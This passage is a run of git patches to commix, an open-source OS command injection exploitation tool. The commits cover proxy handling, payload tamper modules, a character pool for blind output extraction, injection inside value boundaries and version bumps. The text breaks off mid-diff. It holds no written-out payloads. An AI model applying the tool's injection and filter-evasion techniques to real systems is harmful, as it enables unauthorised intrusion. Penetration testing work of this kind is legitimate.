--- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -219,10 +219,7 @@ def logs_notification(filename): """ def log_traffic(header): output_file = open(menu.options.traffic_file, "a") - if not menu.options.no_logging: - if type(header) is bytes: - header = header.decode(settings.DEFAULT_CODEC) - output_file.write(header) + output_file.write(header) output_file.close() """ diff --git a/src/utils/settings.py b/src/utils/settings.py index e25dfd8fd6..ea35448eca 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -240,9 +240,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.6" -REVISION = "35" -STABLE_RELEASE = True +VERSION_NUM = "3.7" +REVISION = "1" +STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From 4592ea70b85d88041148f5917fc540390fe706f7 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 5 Dec 2022 09:01:56 +0200 Subject: [PATCH 219/560] Minor bug fix regarding creating Github issues with unhandled exception information --- src/utils/common.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 6a02b07015..3ed15408c5 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -160,7 +160,7 @@ def create_github_issue(err_msg, exc_msg): message = "Do you want to automatically create a new (anonymized) issue " message += "with the unhandled exception information at " message += "the official Github repository? [y/N] " - choise = common.read_input(message, default="N", check_batch=True) + choise = read_input(message, default="N", check_batch=True) if choise in settings.CHOICE_YES: break elif choise in settings.CHOICE_NO: diff --git a/src/utils/settings.py b/src/utils/settings.py index ea35448eca..d0128a4404 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "1" +REVISION = "2" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c7326f09c0e24747132ccb0e49674c4b8dc69d5a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 6 Dec 2022 07:20:11 +0200 Subject: [PATCH 220/560] Minor update regarding commit https://github.com/commixproject/commix/commit/4592ea70b85d88041148f5917fc540390fe706f7 --- src/utils/common.py | 4 +++- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 3ed15408c5..8eecc64479 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -153,7 +153,9 @@ def create_github_issue(err_msg, exc_msg): _ = re.sub(r"= _", "= ", _) _ = _.encode(settings.DEFAULT_CODEC) - bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\"" + key = hashlib.md5(_).hexdigest()[:8] + + bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\" " + "(#" + key + ")" while True: try: diff --git a/src/utils/settings.py b/src/utils/settings.py index d0128a4404..5428aef726 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 6c748f534fb52569f198c64aeca91eb104a84bb8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 7 Dec 2022 07:15:26 +0200 Subject: [PATCH 221/560] Fixes https://github.com/commixproject/commix/issues/794 --- src/core/main.py | 11 ++++++----- src/utils/purge.py | 5 ++--- src/utils/settings.py | 2 +- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index f143f61299..d1aba20fb6 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -632,14 +632,15 @@ def main(filename, url): # Check if defined "--purge" option. if menu.options.purge: purge.purge() - + # Check for missing mandatory option(s). if not settings.STDIN_PARSING and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ - menu.options.update, menu.options.list_tampers, menu.options.purge, menu.options.noncore_dependencies)): - err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). " - err_msg += "Use -h for help." - print(settings.print_critical_msg(err_msg)) + menu.options.update, menu.options.list_tampers, menu.options.noncore_dependencies)): + if not menu.options.purge: + err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). " + err_msg += "Use -h for help." + print(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.codec: diff --git a/src/utils/purge.py b/src/utils/purge.py index 41d34bfe4c..3d32bd877a 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -37,9 +37,8 @@ def purge(): directory = settings.OUTPUT_DIR if not os.path.isdir(directory): - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping purging of directory '" + directory + "' as it does not exist." - print(settings.print_debug_msg(debug_msg)) + warn_msg = "Skipping purging of directory '" + directory + "', as it does not exist." + print(settings.print_warning_msg(warn_msg)) return info_msg = "Purging content of directory '" + directory + "'" if not settings.VERBOSITY_LEVEL != 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 5428aef726..de3f1a9c03 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 044f29e6e29869ac2541899ec3207a157cf6f403 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 8 Dec 2022 09:04:28 +0200 Subject: [PATCH 222/560] Minor update --- src/utils/logs.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/utils/logs.py b/src/utils/logs.py index aa36215582..c5a3ca13d7 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -124,7 +124,8 @@ def create_log_file(url, output_dir): settings.SESSION_FILE = output_dir + host + "/" + "session" + ".db" # Load command history - checks.load_cmd_history() + if settings.LOAD_SESSION == True: + checks.load_cmd_history() # The logs filename construction. filename = output_dir + host + "/" + settings.OUTPUT_FILE diff --git a/src/utils/settings.py b/src/utils/settings.py index de3f1a9c03..3fb2341c5f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 29b9c6e5247f7c49c4b0ba059c04fe73e1c6c6b5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 11 Dec 2022 11:05:20 +0200 Subject: [PATCH 223/560] Trivial update --- src/core/injections/controller/checks.py | 4 ++-- src/core/tamper/backslashes.py | 1 + src/core/tamper/caret.py | 1 + src/core/tamper/dollaratsigns.py | 1 + src/core/tamper/doublequotes.py | 1 + src/core/tamper/slash2env.py | 2 ++ src/core/tamper/sleep2timeout.py | 1 + src/core/tamper/sleep2usleep.py | 1 + src/utils/settings.py | 2 +- 9 files changed, 11 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 92d6605cfc..117519df5b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1168,7 +1168,7 @@ def whitespace_check(payload): settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2) """ -Check for added caret between the characters of the generated payloads. +Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads. """ def other_symbols(payload): # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. @@ -1404,7 +1404,7 @@ def perform_payload_modification(payload): if encode_type == 'singlequotes': from src.core.tamper import singlequotes payload = singlequotes.tamper(payload) - # Add caret symbol. + # Add backslashes. elif encode_type == 'backslashes': from src.core.tamper import backslashes payload = backslashes.tamper(payload) diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index a374701281..2d4fd80b0f 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -12,6 +12,7 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys from src.utils import menu diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index 978bbb70cd..21081e7cbb 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -12,6 +12,7 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys from src.utils import menu diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index df5e2e96d5..b870ad2612 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -12,6 +12,7 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys from src.utils import menu diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index a044527cb2..bd3269bb8f 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -12,6 +12,7 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys from src.utils import menu diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 973f33f6cf..602ec6715c 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -4,10 +4,12 @@ """ This file is part of Commix Project (https://commixproject.com). Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + For more see the file 'readme/COPYING' for copying permission. """ diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 585bf6aa0c..9f9ce00f44 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -12,6 +12,7 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys from src.utils import menu diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index dedf255b3f..867d80567c 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -12,6 +12,7 @@ For more see the file 'readme/COPYING' for copying permission. """ + import re import sys from src.utils import menu diff --git a/src/utils/settings.py b/src/utils/settings.py index 3fb2341c5f..c29b5cfa08 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "5" +REVISION = "6" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f320340e6dddd075e4bb5ff0010ca83f088c6c4d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 12 Dec 2022 09:52:30 +0200 Subject: [PATCH 224/560] Minor update --- src/core/injections/controller/checks.py | 14 +++++++------- src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 117519df5b..3c7d58c5ce 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1652,15 +1652,15 @@ def generate_char_pool(num_of_chars): if menu.options.charset: char_pool = [ord(c) for c in menu.options.charset] else: - # if num_of_chars == 1: - # # Checks {A..Z},{a..z},{0..9},{Symbols} - # char_pool = list(range(65, 90)) + list(range(96, 122)) - # else: - # # Checks {a..z},{A..Z},{0..9},{Symbols} - char_pool = list(range(96, 122)) + list(range(65, 90)) + # Source for letter frequency: http://en.wikipedia.org/wiki/Letter_frequency#Relative_frequencies_of_letters_in_the_English_language + if num_of_chars == 1: + char_pool = [69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90] + \ + [101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122] + else: + char_pool = [101, 116, 97, 111, 105, 110, 115, 104, 114, 100, 108, 99, 117, 109, 119, 102, 103, 121, 112, 98, 118, 107, 106, 120, 113, 122] + \ + [69, 84, 65, 79, 73, 78, 83, 72, 82, 68, 76, 67, 85, 77, 87, 70, 71, 89, 80, 66, 86, 75, 74, 88, 81, 90] char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127)) return char_pool - """ Print powershell version """ diff --git a/src/utils/settings.py b/src/utils/settings.py index c29b5cfa08..cd97200c25 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "6" +REVISION = "7" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e5a7f7be34a42bfa9ba6aa9e1c2288ab663189e5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 13 Dec 2022 22:02:31 +0200 Subject: [PATCH 225/560] Minor update --- src/utils/settings.py | 2 +- src/utils/update.py | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index cd97200c25..c4a6813c96 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "7" +REVISION = "8" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index f1cc9fa458..e371b9a5dc 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -91,11 +91,10 @@ def updater(): if requirments.do_check(requirment) == True : if settings.VERBOSITY_LEVEL != 0: debug_msg = "commix will try to update itself using '" + requirment + "' command." + print(settings.SINGLE_WHITESPACE) print(settings.print_debug_msg(debug_msg)) # Check if ".git" exists! if os.path.isdir("./.git"): - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " info_msg += "version. " sys.stdout.write(settings.print_info_msg(info_msg)) From 1e6e5815fd692f7e859d4c3292fb9d0ace1ead1a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 13 Dec 2022 22:10:46 +0200 Subject: [PATCH 226/560] Minor fix regarding commit: https://github.com/commixproject/commix/commit/e5a7f7be34a42bfa9ba6aa9e1c2288ab663189e5 --- src/utils/settings.py | 2 +- src/utils/update.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/src/utils/settings.py b/src/utils/settings.py index c4a6813c96..43b1237ba5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "8" +REVISION = "9" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index e371b9a5dc..7282ab2471 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -94,6 +94,8 @@ def updater(): print(settings.SINGLE_WHITESPACE) print(settings.print_debug_msg(debug_msg)) # Check if ".git" exists! + else: + print(settings.SINGLE_WHITESPACE) if os.path.isdir("./.git"): info_msg = "Updating " + settings.APPLICATION + " to the latest (dev) " info_msg += "version. " From edc47ef13786fcd666ea7ec12433ee8251553286 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 15 Dec 2022 09:26:40 +0200 Subject: [PATCH 227/560] Minor update regarding using a proxy to connect to the target URL. --- src/core/requests/headers.py | 3 +++ src/core/requests/proxy.py | 3 +-- src/core/requests/requests.py | 5 ++++- src/utils/settings.py | 2 +- 4 files changed, 9 insertions(+), 4 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 5971abdd5d..a2a6e6092a 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -143,6 +143,7 @@ def https_open(self, req): checks.connection_exceptions(err_msg, url=req) opener = _urllib.request.build_opener(connection_handler()) + if len(settings.HTTP_METHOD) != 0: request.get_method = lambda: settings.HTTP_METHOD @@ -154,6 +155,8 @@ def https_open(self, req): settings.MULTI_ENCODED_PAYLOAD = [] menu.options.tamper = settings.USER_SUPPLIED_TAMPER try: + if menu.options.proxy: + request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) response = opener.open(request, timeout=settings.TIMEOUT) page = checks.page_encoding(response, action="encode") _ = True diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 6fbf680179..1dfeb288ee 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -28,7 +28,6 @@ """ def use_proxy(request): headers.do_check(request) - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) try: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response @@ -46,6 +45,6 @@ def do_check(url): request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: request = _urllib.request.Request(url) - use_proxy(request) + request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 883bd9b7df..9b802b0578 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -50,9 +50,12 @@ def estimate_response_time(url, timesec): else: url = parameters.get_url_part(url) request = _urllib.request.Request(url) - headers.do_check(request) + + headers.do_check(request) start = time.time() try: + if menu.options.proxy: + request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) response.read(1) response.close() diff --git a/src/utils/settings.py b/src/utils/settings.py index 43b1237ba5..4a44e2bf48 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "9" +REVISION = "10" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c6debf6f415167a04d779aedfc5b4f646dc72158 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 16 Dec 2022 09:02:56 +0200 Subject: [PATCH 228/560] Fixes https://github.com/commixproject/commix/issues/796 --- src/core/modules/shellshock/shellshock.py | 2 ++ src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index bbc78c0e79..36fe50c4fa 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -22,6 +22,8 @@ from src.core.injections.controller import checks default_user_agent = menu.options.agent +default_cookie = "" + if menu.options.cookie: if settings.INJECT_TAG in menu.options.cookie: menu.options.cookie = menu.options.cookie.replace(settings.INJECT_TAG ,"") diff --git a/src/utils/settings.py b/src/utils/settings.py index 4a44e2bf48..3f4ff8ae42 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "10" +REVISION = "11" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 41b73dd534f35c64b139de54f818d9de8b1eada8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 18 Dec 2022 12:14:05 +0200 Subject: [PATCH 229/560] Minor update regarding commit: https://github.com/commixproject/commix/commit/edc47ef13786fcd666ea7ec12433ee8251553286 --- src/core/requests/headers.py | 5 +++-- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index a2a6e6092a..ce4407f6d3 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -148,6 +148,7 @@ def https_open(self, req): request.get_method = lambda: settings.HTTP_METHOD _ = False + response = False unauthorized = False while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: if settings.MULTI_TARGETS: @@ -158,7 +159,6 @@ def https_open(self, req): if menu.options.proxy: request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) response = opener.open(request, timeout=settings.TIMEOUT) - page = checks.page_encoding(response, action="encode") _ = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ @@ -200,7 +200,8 @@ def https_open(self, req): break try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if response is False: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) code = response.getcode() response_headers = response.info() page = checks.page_encoding(response, action="encode") diff --git a/src/utils/settings.py b/src/utils/settings.py index 3f4ff8ae42..9e39fc6d6f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "11" +REVISION = "12" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3df9b1bec43aeb029940701d7c304b7cdf2c0af8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 19 Dec 2022 08:33:04 +0200 Subject: [PATCH 230/560] Minor update --- src/core/requests/requests.py | 7 +++---- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 9b802b0578..bbff77636b 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -46,11 +46,10 @@ def estimate_response_time(url, timesec): sys.stdout.flush() # Check if defined POST data if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC)) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) - + request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE)) + headers.do_check(request) start = time.time() try: diff --git a/src/utils/settings.py b/src/utils/settings.py index 9e39fc6d6f..67ff1e373c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "12" +REVISION = "13" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 65ddd985fda7be0c663ec56d1d25d9a1f9099c04 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 20 Dec 2022 07:47:39 +0200 Subject: [PATCH 231/560] Minor update --- src/core/injections/controller/checks.py | 3 +++ src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 3c7d58c5ce..8bf53a5038 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -760,6 +760,9 @@ def check_CGI_scripts(url): Check if http / https. """ def check_http_s(url): + if settings.SINGLE_WHITESPACE in url: + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) + if settings.CHECK_INTERNET: url = settings.CHECK_INTERNET_ADDRESS else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 67ff1e373c..a279f8d403 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From cc1ecdee45d917927210333c64c4fb60d63a21ea Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 21 Dec 2022 07:28:29 +0200 Subject: [PATCH 232/560] Minor update regarding injecting a value inside boundaries --- src/core/injections/controller/checks.py | 9 ++++++++- src/core/requests/headers.py | 1 + src/core/requests/parameters.py | 4 ++++ src/utils/settings.py | 3 ++- 4 files changed, 15 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 8bf53a5038..3132d8869d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -240,6 +240,12 @@ def load_cmd_history(): warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" print(settings.print_warning_msg(warn_msg)) +""" +Get value inside boundaries. +""" +def get_value_boundaries(value): + return re.search(settings.VALUE_BOUNDARIES, value).group(1) + """ Check if the value has boundaries. """ @@ -248,8 +254,9 @@ def value_boundaries(value): message += "Do you want to inject inside? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: - value = re.search(settings.VALUE_BOUNDARIES, value).group(1) + value = get_value_boundaries(value) elif procced_option in settings.CHOICE_NO: + settings.INJECT_INSIDE_BOUNDARIES = False pass elif procced_option in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index ce4407f6d3..f1fe4629ac 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -243,6 +243,7 @@ def https_open(self, req): err_msg = error_msg + "Non-standard HTTP status code" else: err_msg = error_msg + print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 4f18522c36..1758605e0c 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -173,6 +173,8 @@ def vuln_GET_param(url): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: + settings.TESTABLE_VALUE = checks.get_value_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break @@ -377,6 +379,8 @@ def vuln_POST_param(parameter, url): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") + if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: + settings.TESTABLE_VALUE = checks.get_value_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break diff --git a/src/utils/settings.py b/src/utils/settings.py index a279f8d403..f369145e02 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -283,6 +283,7 @@ def sys_argv_errors(): INJECT_TAG = "INJECT_HERE" INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE" VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' +INJECT_INSIDE_BOUNDARIES = True # Default (windows) target host's python interpreter WIN_PYTHON_INTERPRETER = "python.exe" From 271d1448c67380f4e8a75e725dba4f45ae37470c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 22 Dec 2022 09:14:03 +0200 Subject: [PATCH 233/560] Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 34 ++++++++++++++++++-- src/core/injections/controller/controller.py | 11 +++---- src/core/requests/requests.py | 4 ++- src/utils/settings.py | 8 +++-- 5 files changed, 45 insertions(+), 13 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8cf4222db2..818c2d2511 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (TBA) +* Revised: Minor improvement regarding adding PCRE_REPLACE_EVAL `/e` modifier (i.e. dynamic code evaluation technique). * Revised: Minor bug-fix regarding logging all HTTP traffic into a textual file (i.e `-t` option). ## Version 3.6 (2022-11-18) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 3132d8869d..73bb05db70 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -250,11 +250,12 @@ def get_value_boundaries(value): Check if the value has boundaries. """ def value_boundaries(value): - message = "It appears that the value '" + value + "' has boundaries. " + _ = get_value_boundaries(value) + message = "It appears that the value '" + str(_) + "' has boundaries. " message += 